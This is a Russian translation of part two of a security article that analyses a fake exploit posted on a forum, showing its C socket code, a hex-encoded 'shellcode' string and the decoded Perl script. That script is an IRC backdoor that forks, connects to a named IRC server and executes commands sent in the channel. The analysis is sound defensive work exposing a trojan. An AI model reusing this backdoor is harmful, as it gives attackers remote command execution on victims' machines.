Во второй части статьи вы получите ответы на некоторые вопросы. Как известный мифический конь, привезший в Трою солдат, так и наш ASM выглядит темной лошадкой.
Первая часть закончилась на самом интересном месте. Как вы помните, я советовал ознакомиться с информацией по приведенной ссылке. Там вы должны были прояснить для себя вопросы с системными вызовами типа like send() и recv(). Это как раз те системные вызовы, которые позволяют коду установить подтверждение связи с TCP/IP. Это подтверждение необходимо для установки связи между компьютерами. Будет очень сложно получить доступ к компьютеру, если в нем нет системных вызовов для получения отправленных и полученных пакетов.
Если Вы пропустили первую часть, то вы можете прочесть ее здесь.
Первое, что обратило на себя внимание в коде, — это отсутствие системных вызовов. Это говорило о том, что все, что может случиться, будет происходить на локальном компьютере: а именно, компилирование и исполнение кода. Ниже приведенный код – это часть того самого доступного кода.
void con(int sockfd)
{
char rb[1500];
fd_set fdreadme;
int i;
FD_ZERO(&fdreadme);
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
while(1)
{
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break;
if(FD_ISSET(sockfd, &fdreadme))
{
if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
{
printf(«[-] Connection lost..\n»);
exit(1);
}
if(write(1, rb, i) < 0) break;
}
if(FD_ISSET(0, &fdreadme))
{
if((i = read(0, rb, sizeof(rb))) < 0)
{
printf(«[-] Connection lost..\n»);
exit(1);
}
if (send(sockfd, rb, i, 0) < 0) break;
}
usleep(10000);
}
printf(«[-] Connection closed by foreign host..\n»);
exit(0);
}
int main(int argc, char **argv)
{
int len, len1, sockfd, c, a;
unsigned long ret;
unsigned short port = 135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short lportl=666; /* drg */
char lport[4] = «\x00\xFF\xFF\x8b»; /* drg */
struct hostent *he;
struct sockaddr_in their_addr;
static char *hostname=NULL;
if(argc<2)
{
usage(argv[0]);
}
while((c = getopt(argc, argv, «d:t:r:p:l:»))!= EOF)
{
switch (c)
{
case ‘d’:
hostname = optarg;
break;
case ‘t’:
type = atoi(optarg);
if((type > 1) || (type < 0))
{
printf(«[-] Select a valid target:\n»);
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(» %d [0x%.8x]: %s\n», a, targets[a].ret, targets[a].os);
return 1;
}
break;
case ‘r’:
targets[type].ret = strtoul(optarg, NULL, 16);
break;
case ‘p’:
port = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf(«[-] Select a port between 1-65535\n»);
return 1;
}
break;
case ‘l’:
lportl = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf(«[-] Select a port between 1-65535\n»);
return 1;
}
break;
default:
usage(argv[0]);
return 1;
}
}
Верхний код показывает информацию о гнезде, которое будет использоваться для передачи пакетов, примененных в атаке. Достаточно сказать, что не предпринималось никаких попыток создания гнезд в шпионской программе, опубликованной на форуме пользователем. Это должно вселить в вас подозрения. Если нет системных вызовов, которые используются для доставки информации на нужный компьютер, то где же будет исполняться код? Правильно, прямо на локальной машине. Совершенно верно, не вы будете использовать код, а он будет использовать вас.
Еще кое-что беспокоило меня. Ели вы не ознакомились с информацией по ссылке, сделайте это прямо сейчас. Подозрительным было и то, что мало использовался машинный язык или, как его еще называют, ASM. И выглядит он вот так:
char *shellcode_payload=
\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x3
\x68\x61\x6e\x3d\x22\x23\x30\x78\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22\xb
\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x69\x72\x33\x69\x70\x2e\xe
\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\xb
\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x9
Хотя я по натуре и не разработчик, все-таки могу утверждать, что все, что я видел ранее, содержало больше ASM. Большинство кодов имели участки памяти ASM? Содержащие NOP, содержащие знаки 0х90. Это необходимо для целей, описание которых выходит за пределы данной статьи. Редко встречаешь коды, не содержащие 0х90. Более того, это определяющая черта кодов для продукции IDS, необходимых для создания подписей IDS. Здесь вообще следует задуматься, ASM ли это? Я думаю, что это всего лишь закодированная с помощью hex последовательность ascii. Есть лишь один способ проверки.
В первой части статьи я советовал скачать программу hex2.exe. Она необходима для конвертации ASM в ASCII. Для начала я размещаю небольшую часть «ASM» в конверторе hex2.exe. Убедитесь, что код размещен в шестнадцатеричном окне. После этого нажмите кнопку “Convert Hex to Dec and Bin” («Конвертировать Hex в Dec и Bin»). На рисунке можно увидеть результат.
Очень интересный результат, между прочим! Что такое /tmp/hi? На основе только этого маленького фрагмента могу сказать, что кто-то создал директорию /tmp/hi на компьютере. Очень странно. Далее размещаем в hex2.exe большой фрагмент «ASM» для конвертации. Результат виден на рисунке.
Да это же скрипт, написанный на языке Perl! Большая часть скрипта спрятана в программе hex2.exe, но я отформатировал содержание, чтобы было легче его понять.
#!/usr/bin/perl
$chan=»#0x»;$nick=»k»;$server=»ir3ip.net«;
$SIG{TERM}={};
exit if fork;use IO::Socket;
$sock = IO::Socket::INET->new($server.»:6667″)||exit;
print $sock «USER k +i k :kv1\nNICK k\n»;
$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;
last if $mode==»001″;
if($mode==»433″){$i++;$nick=~s/\d*$/$i/;
print $sock «NICK $nick\n»;}}
print $sock «JOIN $chan\nPRIVMSG $chan :Hi\n»;
while(<$sock>){if (/^PING (.*)$/){print $sock «PONG $1\nJOIN $chan\n»;}
if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;
$_=`$_`;foreach(split «\n»){print $sock «PRIVMSG $chan :$_\n»;sleep 1;}}
}#/tmp/hi
Быстро просмотрев скрипт, я могу сказать, почему в коде нет системных вызовов. Обратите внимание на строки 4 и 5, которые создают гнездо. Вот и подтверждение того, что код будет исполнен на локальном компьютере. Это лишь толика информации, которую можно получить. Теперь понятно: код создает гнездо на компьютере человека, исполняющего код. Данное гнездо используется для связи с сервером IRC. Это видно из строк 4 и 5. Сервер IRC отмечен и в строке 2. Пользовательское имя и chat room также указаны в строке 2.
Всем вышесказанным можно опровергнуть утверждение пользователя, разместившего сообщение на форуме. Все, что мы имеем, это попытка социальной инженерии. Странным кажется и место, где он пытался «провернуть свое дельце», — форум, посвященный сетевой безопасности. Я попытался связаться с этим человеком, но не получил никакого ответа. И не удивительно, просто было очень интересно, хватит ли у него наглости на ответ. На этом заканчивается часть 2. В третьей части мы непосредственно перейдем к пакету, сгенерированному шпионской программой. Как хороший эксперт в области безопасности, я использовал анализатор пакетов во время работы кода. В следующей части вы увидите, что удалось узнать, и могу заверить, что это самое интересное.
Источник www.windowsecurity.com